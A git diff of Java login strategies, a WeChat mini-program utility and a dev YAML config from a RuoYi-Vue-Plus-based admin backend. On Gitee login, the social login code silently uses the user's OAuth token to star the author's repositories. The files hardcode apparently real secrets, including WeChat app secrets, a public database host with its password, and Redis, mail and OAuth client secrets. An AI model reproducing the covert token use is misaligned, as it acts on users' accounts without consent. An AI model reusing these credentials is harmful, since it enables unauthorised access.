-import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.http.HttpUtil; -import cn.hutool.http.Method; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import me.zhyd.oauth.model.AuthResponse; -import me.zhyd.oauth.model.AuthUser; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.domain.model.SocialLoginBody; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.social.config.properties.SocialProperties; -import org.dromara.common.social.utils.SocialUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysSocialVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.ISysSocialService; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Service; - -import java.util.List; -import java.util.Optional; - -/** - * 第三方授权策略 - * - * @author thiszhc is 三三 - */ -@Slf4j -@Service("social" + IAuthStrategy.BASE_NAME) -@RequiredArgsConstructor -public class SocialAuthStrategy implements IAuthStrategy { - - private final SocialProperties socialProperties; - private final ISysSocialService sysSocialService; - private final SysUserMapper userMapper; - private final SysLoginService loginService; - - /** - * 登录-第三方授权登录 - * - * @param body 登录信息 - * @param client 客户端信息 - */ - @Override - public LoginVo login(String body, SysClientVo client) { - SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class); - ValidatorUtils.validate(loginBody); - AuthResponse response = SocialUtils.loginAuth( - loginBody.getSource(), loginBody.getSocialCode(), - loginBody.getSocialState(), socialProperties); - if (!response.ok()) { - throw new ServiceException(response.getMsg()); - } - AuthUser authUserData = response.getData(); - if ("GITEE".equals(authUserData.getSource())) { - // 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖 - HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus") - .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) - .executeAsync(); - HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus") - .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) - .executeAsync(); - } - - List list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid()); - if (CollUtil.isEmpty(list)) { - throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!"); - } - SysSocialVo social; - if (TenantHelper.isEnable()) { - Optional opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId())); - if (opt.isEmpty()) { - throw new ServiceException("对不起,你没有权限登录当前租户!"); - } - social = opt.get(); - } else { - social = list.get(0); - } - LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> { - SysUserVo user = loadUser(social.getUserId()); - // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 - return loginService.buildLoginUser(user); - }); - loginUser.setClientKey(client.getClientKey()); - loginUser.setDeviceType(client.getDeviceType()); - SaLoginModel model = new SaLoginModel(); - model.setDevice(client.getDeviceType()); - // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 - // 例如: 后台用户30分钟过期 app用户1天过期 - model.setTimeout(client.getTimeout()); - model.setActiveTimeout(client.getActiveTimeout()); - model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); - // 生成token - LoginHelper.login(loginUser, model); - - LoginVo loginVo = new LoginVo(); - loginVo.setAccessToken(StpUtil.getTokenValue()); - loginVo.setExpireIn(StpUtil.getTokenTimeout()); - loginVo.setClientId(client.getClientId()); - return loginVo; - } - - private SysUserVo loadUser(Long userId) { - SysUserVo user = userMapper.selectVoById(userId); - if (ObjectUtil.isNull(user)) { - log.info("登录用户:{} 不存在.", ""); - throw new UserException("user.not.exists", ""); - } else if (SystemConstants.DISABLE.equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", ""); - throw new UserException("user.blocked", ""); - } - return user; - } - -} +package org.dromara.web.service.impl; + +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.http.HttpUtil; +import cn.hutool.http.Method; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import me.zhyd.oauth.model.AuthResponse; +import me.zhyd.oauth.model.AuthUser; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.domain.model.SocialLoginBody; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.social.config.properties.SocialProperties; +import org.dromara.common.social.utils.SocialUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysSocialVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.ISysSocialService; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Service; + +import java.util.List; +import java.util.Optional; + +/** + * 第三方授权策略 + * + * @author thiszhc is 三三 + */ +@Slf4j +@Service("social" + IAuthStrategy.BASE_NAME) +@RequiredArgsConstructor +public class SocialAuthStrategy implements IAuthStrategy { + + private final SocialProperties socialProperties; + private final ISysSocialService sysSocialService; + private final SysUserMapper userMapper; + private final SysLoginService loginService; + + /** + * 登录-第三方授权登录 + * + * @param body 登录信息 + * @param client 客户端信息 + */ + @Override + public LoginVo login(String body, SysClientVo client) { + SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class); + ValidatorUtils.validate(loginBody); + AuthResponse response = SocialUtils.loginAuth( + loginBody.getSource(), loginBody.getSocialCode(), + loginBody.getSocialState(), socialProperties); + if (!response.ok()) { + throw new ServiceException(response.getMsg()); + } + AuthUser authUserData = response.getData(); + if ("GITEE".equals(authUserData.getSource())) { + // 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖 + HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus") + .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) + .executeAsync(); + HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus") + .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) + .executeAsync(); + } + + List list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid()); + if (CollUtil.isEmpty(list)) { + throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!"); + } + SysSocialVo social; + if (TenantHelper.isEnable()) { + Optional opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId())); + if (opt.isEmpty()) { + throw new ServiceException("对不起,你没有权限登录当前租户!"); + } + social = opt.get(); + } else { + social = list.get(0); + } + LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> { + SysUserVo user = loadUser(social.getUserId()); + // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 + return loginService.buildLoginUser(user); + }); + loginUser.setClientKey(client.getClientKey()); + loginUser.setDeviceType(client.getDeviceType()); + SaLoginModel model = new SaLoginModel(); + model.setDevice(client.getDeviceType()); + // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 + // 例如: 后台用户30分钟过期 app用户1天过期 + model.setTimeout(client.getTimeout()); + model.setActiveTimeout(client.getActiveTimeout()); + model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); + // 生成token + LoginHelper.login(loginUser, model); + + LoginVo loginVo = new LoginVo(); + loginVo.setAccessToken(StpUtil.getTokenValue()); + loginVo.setExpireIn(StpUtil.getTokenTimeout()); + loginVo.setClientId(client.getClientId()); + return loginVo; + } + + private SysUserVo loadUser(Long userId) { + SysUserVo user = userMapper.selectVoById(userId); + if (ObjectUtil.isNull(user)) { + log.info("登录用户:{} 不存在.", ""); + throw new UserException("user.not.exists", ""); + } else if (SystemConstants.DISABLE.equals(user.getStatus())) { + log.info("登录用户:{} 已被停用.", ""); + throw new UserException("user.blocked", ""); + } + return user; + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/XcxAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/XcxAuthStrategy.java index 948ed9a..b48f8c7 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/impl/XcxAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/impl/XcxAuthStrategy.java @@ -1,91 +1,91 @@ -package org.dromara.web.service.impl; - -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.ObjectUtil; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.model.XcxLoginBody; -import org.dromara.common.core.domain.model.XcxLoginUser; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.springframework.stereotype.Service; - -/** - * 小程序认证策略 - * - * @author Michelle.Chung - */ -@Slf4j -@Service("xcx" + IAuthStrategy.BASE_NAME) -@RequiredArgsConstructor -public class XcxAuthStrategy implements IAuthStrategy { - - private final SysLoginService loginService; - - @Override - public LoginVo login(String body, SysClientVo client) { - XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class); - ValidatorUtils.validate(loginBody); - // xcxCode 为 小程序调用 wx.login 授权后获取 - String xcxCode = loginBody.getXcxCode(); - // 多个小程序识别使用 - String appid = loginBody.getAppid(); - - // todo 以下自行实现 - // 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid - String openid = ""; - // 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可 - SysUserVo user = loadUserByOpenid(openid); - - // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 - XcxLoginUser loginUser = new XcxLoginUser(); - loginUser.setTenantId(user.getTenantId()); - loginUser.setUserId(user.getUserId()); - loginUser.setUsername(user.getUserName()); - loginUser.setNickname(user.getNickName()); - loginUser.setUserType(user.getUserType()); - loginUser.setClientKey(client.getClientKey()); - loginUser.setDeviceType(client.getDeviceType()); - loginUser.setOpenid(openid); - - SaLoginModel model = new SaLoginModel(); - model.setDevice(client.getDeviceType()); - // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 - // 例如: 后台用户30分钟过期 app用户1天过期 - model.setTimeout(client.getTimeout()); - model.setActiveTimeout(client.getActiveTimeout()); - model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); - // 生成token - LoginHelper.login(loginUser, model); - - LoginVo loginVo = new LoginVo(); - loginVo.setAccessToken(StpUtil.getTokenValue()); - loginVo.setExpireIn(StpUtil.getTokenTimeout()); - loginVo.setClientId(client.getClientId()); - loginVo.setOpenid(openid); - return loginVo; - } - - private SysUserVo loadUserByOpenid(String openid) { - // 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户 - // todo 自行实现 userService.selectUserByOpenid(openid); - SysUserVo user = new SysUserVo(); - if (ObjectUtil.isNull(user)) { - log.info("登录用户:{} 不存在.", openid); - // todo 用户不存在 业务逻辑自行实现 - } else if (SystemConstants.DISABLE.equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", openid); - // todo 用户已被停用 业务逻辑自行实现 - } - return user; - } - -} +package org.dromara.web.service.impl; + +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.ObjectUtil; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.model.XcxLoginBody; +import org.dromara.common.core.domain.model.XcxLoginUser; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Service; + +/** + * 小程序认证策略 + * + * @author Michelle.Chung + */ +@Slf4j +@Service("xcx" + IAuthStrategy.BASE_NAME) +@RequiredArgsConstructor +public class XcxAuthStrategy implements IAuthStrategy { + + private final SysLoginService loginService; + + @Override + public LoginVo login(String body, SysClientVo client) { + XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class); + ValidatorUtils.validate(loginBody); + // xcxCode 为 小程序调用 wx.login 授权后获取 + String xcxCode = loginBody.getXcxCode(); + // 多个小程序识别使用 + String appid = loginBody.getAppid(); + + // todo 以下自行实现 + // 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid + String openid = ""; + // 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可 + SysUserVo user = loadUserByOpenid(openid); + + // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 + XcxLoginUser loginUser = new XcxLoginUser(); + loginUser.setTenantId(user.getTenantId()); + loginUser.setUserId(user.getUserId()); + loginUser.setUsername(user.getUserName()); + loginUser.setNickname(user.getNickName()); + loginUser.setUserType(user.getUserType()); + loginUser.setClientKey(client.getClientKey()); + loginUser.setDeviceType(client.getDeviceType()); + loginUser.setOpenid(openid); + + SaLoginModel model = new SaLoginModel(); + model.setDevice(client.getDeviceType()); + // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 + // 例如: 后台用户30分钟过期 app用户1天过期 + model.setTimeout(client.getTimeout()); + model.setActiveTimeout(client.getActiveTimeout()); + model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); + // 生成token + LoginHelper.login(loginUser, model); + + LoginVo loginVo = new LoginVo(); + loginVo.setAccessToken(StpUtil.getTokenValue()); + loginVo.setExpireIn(StpUtil.getTokenTimeout()); + loginVo.setClientId(client.getClientId()); + loginVo.setOpenid(openid); + return loginVo; + } + + private SysUserVo loadUserByOpenid(String openid) { + // 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户 + // todo 自行实现 userService.selectUserByOpenid(openid); + SysUserVo user = new SysUserVo(); + if (ObjectUtil.isNull(user)) { + log.info("登录用户:{} 不存在.", openid); + // todo 用户不存在 业务逻辑自行实现 + } else if (SystemConstants.DISABLE.equals(user.getStatus())) { + log.info("登录用户:{} 已被停用.", openid); + // todo 用户已被停用 业务逻辑自行实现 + } + return user; + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/utils/WxXcxUtils.java b/ruoyi-admin/src/main/java/org/dromara/web/utils/WxXcxUtils.java index 1160ee6..72af6d9 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/utils/WxXcxUtils.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/utils/WxXcxUtils.java @@ -1,122 +1,122 @@ -package org.dromara.web.utils; - -import cn.hutool.core.util.RandomUtil; -import cn.hutool.crypto.digest.DigestUtil; -import cn.hutool.http.HttpRequest; -import cn.hutool.http.HttpUtil; -import com.alibaba.fastjson.JSONObject; -import org.apache.commons.lang3.StringUtils; - -import java.util.*; - -/** - * 微信小程序工具类 - * @author Maosw - */ -public class WxXcxUtils { - - private static final String APPID = "wxc4ed85cf2d8bdc63"; - private static final String SECRET = "787dcb857129514c4eae72501a3acb18"; - private static final String TICKET_URL = "https://api.weixin.qq.com"; - - /** - * 获取access_token - */ - public static String getAccessToken(){ - String url = TICKET_URL + "/cgi-bin/token?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET; - String result = HttpUtil.get(url); - JSONObject jsonObject = JSONObject.parseObject(result); - return jsonObject.getString("access_token"); - } - - /** - * 获取用户手机号码 - */ - public static JSONObject getUserPhoneNumber(String code){ - String accessToken = getAccessToken(); - String url = TICKET_URL + "/wxa/business/getuserphonenumber?access_token="+accessToken; - - JSONObject json = new JSONObject(); - json.put("code", code); - String result = HttpRequest.post(url).body(json.toString()).execute().body(); - - JSONObject jsonObject = JSONObject.parseObject(result); - return jsonObject; - } - - /** - * 获取jsapi_ticket - */ - public static String getJsapiTicket() { - String accessToken = getAccessToken(); - String url = TICKET_URL + "/cgi-bin/ticket/getticket?access_token=" + accessToken + "&type=jsapi"; - String result = HttpUtil.get(url); - JSONObject jsonObject = JSONObject.parseObject(result); - return jsonObject.getString("ticket"); - } - - /** - * 获取小程序二维码 - * @param scene 场景值ID - * @param page 页面路径 - * @param width 二维码宽度 - * @return 二维码图片的二进制数据 - */ - public static byte[] getQrCode(String scene, String page, int width) { - String accessToken = getAccessToken(); - String url = TICKET_URL + "/wxa/getwxacodeunlimit?access_token=" + accessToken; - JSONObject json = new JSONObject(); - json.put("scene", scene); - json.put("page", page); - json.put("width", width); - String result = HttpRequest.post(url).body(json.toString()).execute().body(); - return result.getBytes(); - } - - /** - * 生成签名 - * @param url 当前网页的URL - * @return 签名信息 - */ - public static Map generateSignature(String url) { - if (StringUtils.isEmpty(url)) { - throw new IllegalArgumentException("URL不能为空"); - } - - // 获取jsapi_ticket - String jsapiTicket = getJsapiTicket(); - - // 生成随机字符串 - String nonceStr = RandomUtil.randomString(16); - - // 生成时间戳 - String timestamp = String.valueOf(System.currentTimeMillis() / 1000); - - // 准备签名参数 - Map params = new TreeMap<>(); - params.put("jsapi_ticket", jsapiTicket); - params.put("noncestr", nonceStr); - params.put("timestamp", timestamp); - params.put("url", url); - - // 拼接字符串 - StringBuilder stringBuilder = new StringBuilder(); - for (Map.Entry entry : params.entrySet()) { - stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); - } - String string1 = stringBuilder.substring(0, stringBuilder.length() - 1); - - // 生成签名 - String signature = DigestUtil.sha1Hex(string1); - - // 返回结果 - Map result = new HashMap<>(); - result.put("timestamp", timestamp); - result.put("nonceStr", nonceStr); - result.put("signature", signature); - result.put("appId", APPID); - - return result; - } - -} +package org.dromara.web.utils; + +import cn.hutool.core.util.RandomUtil; +import cn.hutool.crypto.digest.DigestUtil; +import cn.hutool.http.HttpRequest; +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONObject; +import org.apache.commons.lang3.StringUtils; + +import java.util.*; + +/** + * 微信小程序工具类 + * @author Maosw + */ +public class WxXcxUtils { + + private static final String APPID = "wxc4ed85cf2d8bdc63"; + private static final String SECRET = "787dcb857129514c4eae72501a3acb18"; + private static final String TICKET_URL = "https://api.weixin.qq.com"; + + /** + * 获取access_token + */ + public static String getAccessToken(){ + String url = TICKET_URL + "/cgi-bin/token?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET; + String result = HttpUtil.get(url); + JSONObject jsonObject = JSONObject.parseObject(result); + return jsonObject.getString("access_token"); + } + + /** + * 获取用户手机号码 + */ + public static JSONObject getUserPhoneNumber(String code){ + String accessToken = getAccessToken(); + String url = TICKET_URL + "/wxa/business/getuserphonenumber?access_token="+accessToken; + + JSONObject json = new JSONObject(); + json.put("code", code); + String result = HttpRequest.post(url).body(json.toString()).execute().body(); + + JSONObject jsonObject = JSONObject.parseObject(result); + return jsonObject; + } + + /** + * 获取jsapi_ticket + */ + public static String getJsapiTicket() { + String accessToken = getAccessToken(); + String url = TICKET_URL + "/cgi-bin/ticket/getticket?access_token=" + accessToken + "&type=jsapi"; + String result = HttpUtil.get(url); + JSONObject jsonObject = JSONObject.parseObject(result); + return jsonObject.getString("ticket"); + } + + /** + * 获取小程序二维码 + * @param scene 场景值ID + * @param page 页面路径 + * @param width 二维码宽度 + * @return 二维码图片的二进制数据 + */ + public static byte[] getQrCode(String scene, String page, int width) { + String accessToken = getAccessToken(); + String url = TICKET_URL + "/wxa/getwxacodeunlimit?access_token=" + accessToken; + JSONObject json = new JSONObject(); + json.put("scene", scene); + json.put("page", page); + json.put("width", width); + String result = HttpRequest.post(url).body(json.toString()).execute().body(); + return result.getBytes(); + } + + /** + * 生成签名 + * @param url 当前网页的URL + * @return 签名信息 + */ + public static Map generateSignature(String url) { + if (StringUtils.isEmpty(url)) { + throw new IllegalArgumentException("URL不能为空"); + } + + // 获取jsapi_ticket + String jsapiTicket = getJsapiTicket(); + + // 生成随机字符串 + String nonceStr = RandomUtil.randomString(16); + + // 生成时间戳 + String timestamp = String.valueOf(System.currentTimeMillis() / 1000); + + // 准备签名参数 + Map params = new TreeMap<>(); + params.put("jsapi_ticket", jsapiTicket); + params.put("noncestr", nonceStr); + params.put("timestamp", timestamp); + params.put("url", url); + + // 拼接字符串 + StringBuilder stringBuilder = new StringBuilder(); + for (Map.Entry entry : params.entrySet()) { + stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); + } + String string1 = stringBuilder.substring(0, stringBuilder.length() - 1); + + // 生成签名 + String signature = DigestUtil.sha1Hex(string1); + + // 返回结果 + Map result = new HashMap<>(); + result.put("timestamp", timestamp); + result.put("nonceStr", nonceStr); + result.put("signature", signature); + result.put("appId", APPID); + + return result; + } + +} diff --git a/ruoyi-admin/src/main/resources/application-dev.yml b/ruoyi-admin/src/main/resources/application-dev.yml index 7132cd6..e566b53 100644 --- a/ruoyi-admin/src/main/resources/application-dev.yml +++ b/ruoyi-admin/src/main/resources/application-dev.yml @@ -1,255 +1,251 @@ ---- # 监控中心配置 -spring.boot.admin.client: - # 增加客户端开关 - enabled: true - url: http://localhost:9090 - instance: - service-host-type: IP - metadata: - username: ${spring.boot.admin.client.username} - userpassword: ${spring.boot.admin.client.password} - username: @monitor.username@ - password: @monitor.password@ - ---- # snail-job 配置 -snail-job: - enabled: true - # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 - group: "ruoyi_group" - # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 - token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" - server: - host: 127.0.0.1 - port: 17888 - # 详见 script/sql/snail_job.sql `sj_namespace` 表 - namespace: ${spring.profiles.active} - # 随主应用端口飘逸 - port: 2${server.port} - # 客户端ip指定 - host: 127.0.0.1 - ---- # 数据源配置 -spring: - datasource: - type: com.zaxxer.hikari.HikariDataSource - # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content - dynamic: - # 性能分析插件(有性能损耗 不建议生产环境使用) - p6spy: true - # 设置默认的数据源或者数据源组,默认值即为 master - primary: master - # 严格模式 匹配不到数据源则报错 - strict: true - datasource: - # 主库数据源 - master: - type: ${spring.datasource.type} - driverClassName: com.mysql.cj.jdbc.Driver - # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 - # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) - url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: sjzx0618 - password: 2b1%Hk3#1Uolol - -# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true -# username: root -# password: root - - # 从库数据源 - slave: - lazy: false - type: ${spring.datasource.type} - driverClassName: com.mysql.cj.jdbc.Driver - url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: sjzx0618 - password: 2b1%Hk3#1Uolol - -# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true -# username: root -# password: root - - hikari: - # 最大连接池数量 - maxPoolSize: 20 - # 最小空闲线程数量 - minIdle: 10 - # 配置获取连接等待超时的时间 - connectionTimeout: 30000 - # 校验超时时间 - validationTimeout: 5000 - # 空闲连接存活最大时间,默认10分钟 - idleTimeout: 600000 - # 此属性控制池中连接的最长生命周期,值0表示无限生命周期,默认30分钟 - maxLifetime: 1800000 - # 多久检查一次连接的活性 - keepaliveTime: 30000 - ---- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) -spring.data: - redis: - # 地址 - host: localhost - # 端口,默认为6379 - port: 6379 - # 数据库索引 - database: 1 - # redis 密码必须配置 - password: Huitu123 - # 连接超时时间 - timeout: 10s - # 是否开启ssl - ssl.enabled: false - -# redisson 配置 -redisson: - # redis key前缀 - keyPrefix: - # 线程池数量 - threads: 4 - # Netty线程池数量 - nettyThreads: 8 - # 单节点配置 - singleServerConfig: - # 客户端名称 - clientName: ${ruoyi.name} - # 最小空闲连接数 - connectionMinimumIdleSize: 8 - # 连接池大小 - connectionPoolSize: 32 - # 连接空闲超时,单位:毫秒 - idleConnectionTimeout: 10000 - # 命令等待超时,单位:毫秒 - timeout: 3000 - # 发布和订阅连接池大小 - subscriptionConnectionPoolSize: 50 - ---- # mail 邮件发送 -mail: - enabled: false - host: smtp.163.com - port: 25 - # 是否需要用户名密码验证 - auth: true - # 发送方,遵循RFC-822标准 - from: admin@163.com - # 用户名(注意:如果使用foxmail邮箱,此处user为qq号) - user: admin@163.com - # 密码(注意,某些邮箱需要为SMTP服务单独设置密码,详情查看相关帮助) - pass: LGj5ingctYT2SNJS - # 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。 - starttlsEnable: false - # 使用SSL安全连接 - sslEnable: false - # SMTP超时时长,单位毫秒,缺省值不超时 - timeout: 0 - # Socket连接超时值,单位毫秒,缺省值不超时 - connectionTimeout: 0 - ---- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 -# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 -sms: - # 配置源类型用于标定配置来源(interface,yaml) - config-type: yaml - # 用于标定yml中的配置是否开启短信拦截,接口配置不受此限制 - restricted: true - # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 - minute-max: 1 - # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 - account-max: 30 - # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 - blends: - # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 - # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 - config1: - # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 - supplier: alibaba - # 有些称为accessKey有些称之为apiKey,也有称为sdkKey或者appId。 - access-key-id: 您的accessKey - # 称为accessSecret有些称之为apiSecret - access-key-secret: 您的accessKeySecret - signature: 您的短信签名 - sdk-app-id: 您的sdkAppId - config2: - # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 - supplier: tencent - access-key-id: 您的accessKey - access-key-secret: 您的accessKeySecret - signature: 您的短信签名 - sdk-app-id: 您的sdkAppId - - ---- # 三方授权 -justauth: - # 前端外网访问地址 - address: http://localhost:80 - type: - maxkey: - # maxkey 服务器地址 - # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 - server-url: http://sso.maxkey.top - client-id: 876892492581044224 - client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 - redirect-uri: ${justauth.address}/social-callback?source=maxkey - topiam: - # topiam 服务器地址 - server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol - client-id: 449c4*********937************759 - client-secret: ac7***********1e0************28d - redirect-uri: ${justauth.address}/social-callback?source=topiam - scopes: [openid, email, phone, profile] - qq: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=qq - union-id: false - weibo: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=weibo - gitee: - client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 - client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac - redirect-uri: ${justauth.address}/social-callback?source=gitee - dingtalk: - client-id: 10**********6 - client-secret: 